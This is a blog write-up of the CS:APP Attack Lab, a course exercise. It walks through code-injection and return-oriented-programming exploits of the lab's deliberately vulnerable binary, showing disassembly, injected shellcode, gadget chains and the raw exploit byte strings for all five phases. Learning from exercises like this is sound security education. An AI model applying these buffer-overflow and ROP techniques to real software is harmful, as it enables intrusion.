Skip to main content

CSAPP:AttackLab

Author
quanye
Systems software: OS, networking, distributed systems.
Table of Contents

CSAPP:AttackLab
#

[!WARNING]

  1. Through this lab you will learn how security vulnerabilities can be used to attack operating systems and network servers. The goal is to deepen understanding of vulnerabilities and defenses via simulated attacks, and to see what those flaws really are. Use this material for learning only — never for illegal or unethical activity.
  2. Before starting, study CS:APP3e Sections 3.10.3 and 3.10.4.
  3. https://arthals.ink/blog/attack-lab — you can still refer to this blog.
scp -p -r 2236115135-ics@x86.ics.xjtu-ants.net:./attacklab-2236115135-1235135 ~/ //scp下载远程服务器上的文件,如果要本地开发这是好的办法

The first three phases are CI (code injection) attacks; the last two are ROP (return-oriented programming) attacks.

Code Injection Attacks
#

phase1:
#

0000000000401a90 <test>:
  401a90:	48 83 ec 08          	sub    $0x8,%rsp ; 分配了八个字节的空间
  401a94:	b8 00 00 00 00       	mov    $0x0,%eax
  401a99:	e8 31 fe ff ff       	call   4018cf <getbuf> ; 调用了getbuf函数
  401a9e:	89 c2                	mov    %eax,%edx
  401aa0:	be e8 31 40 00       	mov    $0x4031e8,%esi
  401aa5:	bf 01 00 00 00       	mov    $0x1,%edi
  401aaa:	b8 00 00 00 00       	mov    $0x0,%eax
  401aaf:	e8 3c f2 ff ff       	call   400cf0 <__printf_chk@plt>
  401ab4:	48 83 c4 08          	add    $0x8,%rsp
  401ab8:	c3                   	ret    
00000000004018cf <getbuf>:
  4018cf:	48 83 ec 38          	sub    $0x38,%rsp ; 分配了56个字节的空间(在buf里)
  4018d3:	48 89 e7             	mov    %rsp,%rdi
  4018d6:	e8 7e 02 00 00       	call   401b59 <Gets>
  4018db:	b8 01 00 00 00       	mov    $0x1,%eax
  4018e0:	48 83 c4 38          	add    $0x38,%rsp
  4018e4:	c3                   	ret    
00000000004018e5 <touch1>:
  4018e5:	48 83 ec 08          	sub    $0x8,%rsp
  4018e9:	c7 05 2d 2c 20 00 01 	movl   $0x1,0x202c2d(%rip)        # 604520 <vlevel>
  4018f0:	00 00 00 
  4018f3:	bf 22 31 40 00       	mov    $0x403122,%edi
  4018f8:	e8 53 f4 ff ff       	call   400d50 <puts@plt>
  4018fd:	bf 01 00 00 00       	mov    $0x1,%edi
  401902:	e8 92 03 00 00       	call   401c99 <validate>
  401907:	bf 00 00 00 00       	mov    $0x0,%edi
  40190c:	e8 bf f5 ff ff       	call   400ed0 <exit@plt>

I need to overwrite the return address with the entry of touch1 above so that touch1 runs.

Construct the following input string and remember to use the hex2raw tool.

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
e5 18 40 00

phase2:
#

The steps here: 1. Overwrite the address as before. 2. Pass an argument so your code runs correctly.

I need the overwritten address to be touch2, and I also need to pass a parameter.

0000000000401911 <touch2>:
  401911:	48 83 ec 08          	sub    $0x8,%rsp
  401915:	89 fa                	mov    %edi,%edx
  401917:	c7 05 ff 2b 20 00 02 	movl   $0x2,0x202bff(%rip)        # 604520 <vlevel>
  40191e:	00 00 00 
  401921:	39 3d 01 2c 20 00    	cmp    %edi,0x202c01(%rip)        # 604528 <cookie>
  401927:	75 20                	jne    401949 <touch2+0x38>
  401929:	be 48 31 40 00       	mov    $0x403148,%esi
  40192e:	bf 01 00 00 00       	mov    $0x1,%edi
  401933:	b8 00 00 00 00       	mov    $0x0,%eax
  401938:	e8 b3 f3 ff ff       	call   400cf0 <__printf_chk@plt>
  40193d:	bf 02 00 00 00       	mov    $0x2,%edi
  401942:	e8 52 03 00 00       	call   401c99 <validate>
  401947:	eb 1e                	jmp    401967 <touch2+0x56>
  401949:	be 70 31 40 00       	mov    $0x403170,%esi
  40194e:	bf 01 00 00 00       	mov    $0x1,%edi
  401953:	b8 00 00 00 00       	mov    $0x0,%eax
  401958:	e8 93 f3 ff ff       	call   400cf0 <__printf_chk@plt>
  40195d:	bf 02 00 00 00       	mov    $0x2,%edi
  401962:	e8 f4 03 00 00       	call   401d5b <fail>
  401967:	bf 00 00 00 00       	mov    $0x0,%edi
  40196c:	e8 5f f5 ff ff       	call   400ed0 <exit@plt>

Process: overwrite the caller’s return address to run my code (that means executing on the stack — how? Set the address that ret will pop to the %rsp value after the frame is allocated, so %rip starts there; then place the payload in the buffer — a clever attack). My code sets %rdi to my cookie and uses ret to transfer control into touch2.

After getbuf allocates its stack space, %rsp = 0x5563c8d8, which is also the buffer base.

We construct:

movq $0x14e6646f,%rdi ; 把第一个参数设置成cookie值
pushq $0x00401911 ; 这里push进去一个touch2的首地址值
ret ; ret实际上就是把刚刚push进去的值拿出来然后跳转执行
// gcc -c asm.s
// objdump -d asm.o > asm.byte 我们拿到这段汇编指令的字节码

phase3:
#

Still about passing arguments, but messier — more functions are involved. I need to pass my cookie as a string to touch3.

0000000000401971 <hexmatch>:
  401971:	41 54                	push   %r12
  401973:	55                   	push   %rbp
  401974:	53                   	push   %rbx
  401975:	48 83 c4 80          	add    $0xffffffffffffff80,%rsp
  401979:	89 fd                	mov    %edi,%ebp
  40197b:	48 89 f3             	mov    %rsi,%rbx
  40197e:	64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax
  401985:	00 00 
  401987:	48 89 44 24 78       	mov    %rax,0x78(%rsp)
  40198c:	31 c0                	xor    %eax,%eax
  40198e:	e8 bd f4 ff ff       	call   400e50 <random@plt>
  401993:	48 89 c1             	mov    %rax,%rcx
  401996:	48 ba 0b d7 a3 70 3d 	movabs $0xa3d70a3d70a3d70b,%rdx
  40199d:	0a d7 a3 
  4019a0:	48 f7 ea             	imul   %rdx
  4019a3:	48 01 ca             	add    %rcx,%rdx
  4019a6:	48 c1 fa 06          	sar    $0x6,%rdx
  4019aa:	48 89 c8             	mov    %rcx,%rax
  4019ad:	48 c1 f8 3f          	sar    $0x3f,%rax
  4019b1:	48 29 c2             	sub    %rax,%rdx
  4019b4:	48 8d 04 92          	lea    (%rdx,%rdx,4),%rax
  4019b8:	48 8d 14 80          	lea    (%rax,%rax,4),%rdx
  4019bc:	48 8d 04 95 00 00 00 	lea    0x0(,%rdx,4),%rax
  4019c3:	00 
  4019c4:	48 29 c1             	sub    %rax,%rcx
  4019c7:	4c 8d 24 0c          	lea    (%rsp,%rcx,1),%r12
  4019cb:	41 89 e8             	mov    %ebp,%r8d
  4019ce:	b9 3f 31 40 00       	mov    $0x40313f,%ecx
  4019d3:	48 c7 c2 ff ff ff ff 	mov    $0xffffffffffffffff,%rdx
  4019da:	be 01 00 00 00       	mov    $0x1,%esi
  4019df:	4c 89 e7             	mov    %r12,%rdi
  4019e2:	b8 00 00 00 00       	mov    $0x0,%eax
  4019e7:	e8 44 f4 ff ff       	call   400e30 <__sprintf_chk@plt>
  4019ec:	ba 09 00 00 00       	mov    $0x9,%edx
  4019f1:	4c 89 e6             	mov    %r12,%rsi
  4019f4:	48 89 df             	mov    %rbx,%rdi
  4019f7:	e8 34 f3 ff ff       	call   400d30 <strncmp@plt>
  4019fc:	85 c0                	test   %eax,%eax
  4019fe:	0f 94 c0             	sete   %al
  401a01:	48 8b 5c 24 78       	mov    0x78(%rsp),%rbx
  401a06:	64 48 33 1c 25 28 00 	xor    %fs:0x28,%rbx
  401a0d:	00 00 
  401a0f:	74 05                	je     401a16 <hexmatch+0xa5>
  401a11:	e8 5a f3 ff ff       	call   400d70 <__stack_chk_fail@plt>
  401a16:	0f b6 c0             	movzbl %al,%eax
  401a19:	48 83 ec 80          	sub    $0xffffffffffffff80,%rsp
  401a1d:	5b                   	pop    %rbx
  401a1e:	5d                   	pop    %rbp
  401a1f:	41 5c                	pop    %r12
  401a21:	c3                   	ret    

0000000000401a22 <touch3>:
  401a22:	53                   	push   %rbx
  401a23:	48 89 fb             	mov    %rdi,%rbx
  401a26:	c7 05 f0 2a 20 00 03 	movl   $0x3,0x202af0(%rip)        # 604520 <vlevel>
  401a2d:	00 00 00 
  401a30:	48 89 fe             	mov    %rdi,%rsi
  401a33:	8b 3d ef 2a 20 00    	mov    0x202aef(%rip),%edi        # 604528 <cookie>
  401a39:	e8 33 ff ff ff       	call   401971 <hexmatch>
  401a3e:	85 c0                	test   %eax,%eax
  401a40:	74 23                	je     401a65 <touch3+0x43>
  401a42:	48 89 da             	mov    %rbx,%rdx
  401a45:	be 98 31 40 00       	mov    $0x403198,%esi
  401a4a:	bf 01 00 00 00       	mov    $0x1,%edi
  401a4f:	b8 00 00 00 00       	mov    $0x0,%eax
  401a54:	e8 97 f2 ff ff       	call   400cf0 <__printf_chk@plt>
  401a59:	bf 03 00 00 00       	mov    $0x3,%edi
  401a5e:	e8 36 02 00 00       	call   401c99 <validate>
  401a63:	eb 21                	jmp    401a86 <touch3+0x64>
  401a65:	48 89 da             	mov    %rbx,%rdx
  401a68:	be c0 31 40 00       	mov    $0x4031c0,%esi
  401a6d:	bf 01 00 00 00       	mov    $0x1,%edi
  401a72:	b8 00 00 00 00       	mov    $0x0,%eax
  401a77:	e8 74 f2 ff ff       	call   400cf0 <__printf_chk@plt>
  401a7c:	bf 03 00 00 00       	mov    $0x3,%edi
  401a81:	e8 d5 02 00 00       	call   401d5b <fail>
  401a86:	bf 00 00 00 00       	mov    $0x0,%edi
  401a8b:	e8 40 f4 ff ff       	call   400ed0 <exit@plt>

C source for the two functions above:

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
        char cbuf[110];
        /* Make position of check string unpredictable */
        char *s = cbuf + random() % 100;	//这里随机分配可能导致的结果是把我们注入的字符串覆盖掉
        sprintf(s, "%.8x", val);
        return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

gdb debugging (first jump to touch3 as in phase 2):

Inspect the buffer before entering hexmatch — our injected code is still there (unused bytes filled with 3f).

image-20250319155321094

After entering (we see part of the buffer overwritten, but it did not clobber our payload — so this is probabilistic):

image-20250319155627424

Offset 28 seems to stay 0; we try placing the character array there:

man ascii //查看关于ascii的帮助

image-20250319160631318

cookie → ASCII

0x14e6646f → 31 34 65 36 36 34 36 66

To be safe, check once more:

image-20250319162535823

When editing, watch not only little-endian byte order but also that the original callee’s argument values do not change unexpectedly.

Q: For some reason offset 28 would not take the write; later I switched to offset 18 and rewrote it there (remember to update the address %rdi points to if you get it wrong).

Return-Oriented Programming
#

phase4:
#

In the earlier phases, stack randomization and non-executable stack were off (running code on the stack is already suspicious). That leads to this attack style.

It still targets the same problems as phase2 and phase3 above.

The idea: do not execute our code on the stack; stitch together gadgets already present in the binary, each ending with c3 (ret) so control keeps chaining.

Related instruction encodings: #

attacklab_bytecoding_instructions.png

Gadget farm provided to us:
#

0000000000401ab9 <start_farm>:
  401ab9:	b8 01 00 00 00       	mov    $0x1,%eax
  401abe:	c3                   	ret    

0000000000401abf <addval_480>:
  401abf:	8d 87 6e a5 58 c3    	lea    -0x3ca75a92(%rdi),%eax ;2.3 58 c3 popq %rax (401ac3) ---1.1把rax设置成cookie的值
  401ac5:	c3                   	ret    						  ; 就是这里,愚蠢的我一直把这里数错了导致几个小时没看出来为什么有segmentaion fault

0000000000401ac6 <getval_188>:
  401ac6:	b8 c8 89 c7 90       	mov    $0x90c789c8,%eax
  401acb:	c3                   	ret    

0000000000401acc <addval_392>:
  401acc:	8d 87 58 91 c3 9e    	lea    -0x613c6ea8(%rdi),%eax
  401ad2:	c3                   	ret    

0000000000401ad3 <addval_406>:
  401ad3:	8d 87 ec ad d8 c3    	lea    -0x3c275214(%rdi),%eax
  401ad9:	c3                   	ret    

0000000000401ada <getval_227>:
  401ada:	b8 65 48 89 c7       	mov    $0xc7894865,%eax ; 2.2 2.8 48 89 c7 movq %rax,%rdi(401adc) ---1.2把rdi设置成cookie值
  401adf:	c3                   	ret    

0000000000401ae0 <getval_437>:
  401ae0:	b8 49 89 c7 90       	mov    $0x90c78949,%eax
  401ae5:	c3                   	ret    

0000000000401ae6 <setval_348>:
  401ae6:	c7 07 48 89 c7 c3    	movl   $0xc3c78948,(%rdi)
  401aec:	c3                   	ret    

0000000000401aed <setval_136>:
  401aed:	c7 07 58 90 90 90    	movl   $0x90909058,(%rdi)
  401af3:	c3                   	ret    

0000000000401af4 <mid_farm>:
  401af4:	b8 01 00 00 00       	mov    $0x1,%eax
  401af9:	c3                   	ret    

0000000000401afa <add_xy>:
  401afa:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax ; 2.7(401afa) 这里就是直接设计好的
  401afe:	c3                   	ret    

0000000000401aff <getval_314>:
  401aff:	b8 a9 c9 d6 90       	mov    $0x90d6c9a9,%eax
  401b04:	c3                   	ret    

0000000000401b05 <addval_442>:
  401b05:	8d 87 48 09 e0 90    	lea    -0x6f1ff6b8(%rdi),%eax
  401b0b:	c3                   	ret    

0000000000401b0c <addval_139>:
  401b0c:	8d 87 89 ca 90 90    	lea    -0x6f6f3577(%rdi),%eax
  401b12:	c3                   	ret    

0000000000401b13 <addval_491>:
  401b13:	8d 87 1f 4b 89 d6    	lea    -0x2976b4e1(%rdi),%eax ; 2.6(401b17) mov    %edx,%esi
  401b19:	c3                   	ret    

0000000000401b1a <setval_367>:
  401b1a:	c7 07 bb 48 89 e0    	movl   $0xe08948bb,(%rdi) ; 2.1(401b1d) mov    %rsp,%rax
  401b20:	c3                   	ret    

0000000000401b21 <getval_215>:
  401b21:	b8 48 89 e0 c1       	mov    $0xc1e08948,%eax
  401b26:	c3                   	ret    

0000000000401b27 <setval_192>:
  401b27:	c7 07 89 c1 92 90    	movl   $0x9092c189,(%rdi)
  401b2d:	c3                   	ret    

0000000000401b2e <getval_418>:
  401b2e:	b8 89 ca 84 c0       	mov    $0xc084ca89,%eax ;2.5(401b2f) mov    %ecx,%edx test   %al,%al
  401b33:	c3                   	ret    

0000000000401b34 <addval_318>:
  401b34:	8d 87 8b d6 84 c0    	lea    -0x3f7b2975(%rdi),%eax
  401b3a:	c3                   	ret    

0000000000401b3b <setval_167>:
  401b3b:	c7 07 48 89 e0 94    	movl   $0x94e08948,(%rdi)
  401b41:	c3                   	ret    

0000000000401b42 <setval_410>:
  401b42:	c7 07 df 89 ca 91    	movl   $0x91ca89df,(%rdi)
  401b48:	c3                   	ret    

0000000000401b49 <setval_408>:
  401b49:	c7 07 95 48 81 e0    	movl   $0xe0814895,(%rdi)
  401b4f:	c3                   	ret    

0000000000401b50 <setval_115>:
  401b50:	c7 07 88 d6 90 c3    	movl   $0xc390d688,(%rdi)
  401b56:	c3                   	ret    

0000000000401b57 <setval_336>:
  401b57:	c7 07 48 89 e0 90    	movl   $0x90e08948,(%rdi)
  401b5d:	c3                   	ret    

0000000000401b5e <addval_315>:
  401b5e:	8d 87 89 c1 a4 c0    	lea    -0x3f5b3e77(%rdi),%eax
  401b64:	c3                   	ret    

0000000000401b65 <setval_400>:
  401b65:	c7 07 89 ca 28 d2    	movl   $0xd228ca89,(%rdi)
  401b6b:	c3                   	ret    

0000000000401b6c <getval_226>:
  401b6c:	b8 88 d6 38 c0       	mov    $0xc038d688,%eax
  401b71:	c3                   	ret    

0000000000401b72 <getval_388>:
  401b72:	b8 c9 c1 20 c9       	mov    $0xc920c1c9,%eax ; (401b75)
  401b77:	c3                   	ret    

0000000000401b78 <getval_379>:
  401b78:	b8 68 89 e0 c3       	mov    $0xc3e08968,%eax
  401b7d:	c3                   	ret    

0000000000401b7e <getval_495>:
  401b7e:	b8 89 d6 92 c3       	mov    $0xc392d689,%eax
  401b83:	c3                   	ret    

0000000000401b84 <addval_434>:
  401b84:	8d 87 89 ca 28 d2    	lea    -0x2dd73577(%rdi),%eax
  401b8a:	c3                   	ret    

0000000000401b8b <getval_382>:
  401b8b:	b8 4c 89 e0 c3       	mov    $0xc3e0894c,%eax
  401b90:	c3                   	ret    

0000000000401b91 <addval_100>:
  401b91:	8d 87 c9 c1 84 c9    	lea    -0x367b3e37(%rdi),%eax
  401b97:	c3                   	ret    

0000000000401b98 <setval_140>:
  401b98:	c7 07 f8 8b c1 c3    	movl   $0xc3c18bf8,(%rdi)
  401b9e:	c3                   	ret    

0000000000401b9f <setval_104>:
  401b9f:	c7 07 88 c1 84 c0    	movl   $0xc084c188,(%rdi)
  401ba5:	c3                   	ret    

0000000000401ba6 <addval_125>:
  401ba6:	8d 87 89 d6 90 c3    	lea    -0x3c6f2977(%rdi),%eax
  401bac:	c3                   	ret    

0000000000401bad <getval_111>:
  401bad:	b8 16 a9 09 ca       	mov    $0xca09a916,%eax
  401bb2:	c3                   	ret    

0000000000401bb3 <getval_256>:
  401bb3:	b8 a9 ca 20 db       	mov    $0xdb20caa9,%eax
  401bb8:	c3                   	ret    

0000000000401bb9 <getval_170>:
  401bb9:	b8 89 c1 08 d2       	mov    $0xd208c189,%eax
  401bbe:	c3                   	ret    

0000000000401bbf <setval_102>:
  401bbf:	c7 07 0e 89 c1 c3    	movl   $0xc3c1890e,(%rdi) ; 2.4(401bc2) mov    %eax,%ecx
  401bc5:	c3                   	ret    

0000000000401bc6 <getval_364>:
  401bc6:	b8 81 d6 90 90       	mov    $0x9090d681,%eax
  401bcb:	c3                   	ret    

0000000000401bcc <setval_159>:
  401bcc:	c7 07 89 ca c1 ce    	movl   $0xcec1ca89,(%rdi)
  401bd2:	c3                   	ret    

0000000000401bd3 <end_farm>:
  401bd3:	b8 01 00 00 00       	mov    $0x1,%eax
  401bd8:	c3                   	ret    

Then the input bytes look like this:

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
c3 1a 40 00 00 00 00 00 
6f 64 e6 14 00 00 00 00 
dc 1a 40 00 00 00 00 00 
11 19 40 00 00 00 00 00 

Count the addresses carefully — I miscounted one address and wasted hours, though hunting down a segfault is also a form of learning. (Hard to keep a straight face.)

phase5:
#

Supposedly the hardest phase — but since we have already touched assembly, let’s try!

The solution idea comes from the blog above: with stack randomization, use %rsp as a reference point to locate the argument we need.

Designed asm:

phase5.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 89 e0             	mov    %rsp,%rax
   3:	c3                   	ret    
   4:	48 89 c7             	mov    %rax,%rdi
   7:	c3                   	ret    
   8:	58                   	pop    %rax
   9:	90                   	nop
   a:	c3                   	ret    
   b:	89 c1                	mov    %eax,%ecx
   d:	90                   	nop
   e:	c3                   	ret    
   f:	89 ca                	mov    %ecx,%edx
  11:	84 c0                	test   %al,%al
  13:	c3                   	ret    
  14:	89 d6                	mov    %edx,%esi
  16:	20 d2                	and    %dl,%dl
  18:	c3                   	ret    
  19:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  1d:	48 89 c7             	mov    %rax,%rdi
  20:	c3                   	ret    
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
1d 1b 40 00 00 00 00 00 
dc 1a 40 00 00 00 00 00 
c3 1a 40 00 00 00 00 00 
48 00 00 00 00 00 00 00 
c2 1b 40 00 00 00 00 00 
2f 1b 40 00 00 00 00 00 
17 1b 40 00 00 00 00 00 
fa 1a 40 00 00 00 00 00 
dc 1a 40 00 00 00 00 00 
22 1a 40 00 00 00 00 00 
31 34 65 36 36 34 36 66 
00 00 00 00 00 00 00 00 

Done!!! Copying someone else’s write-up is easy (). The hard part is writing a bug-free gadget chain yourself and finding the pieces; reading someone else’s is much easier (?).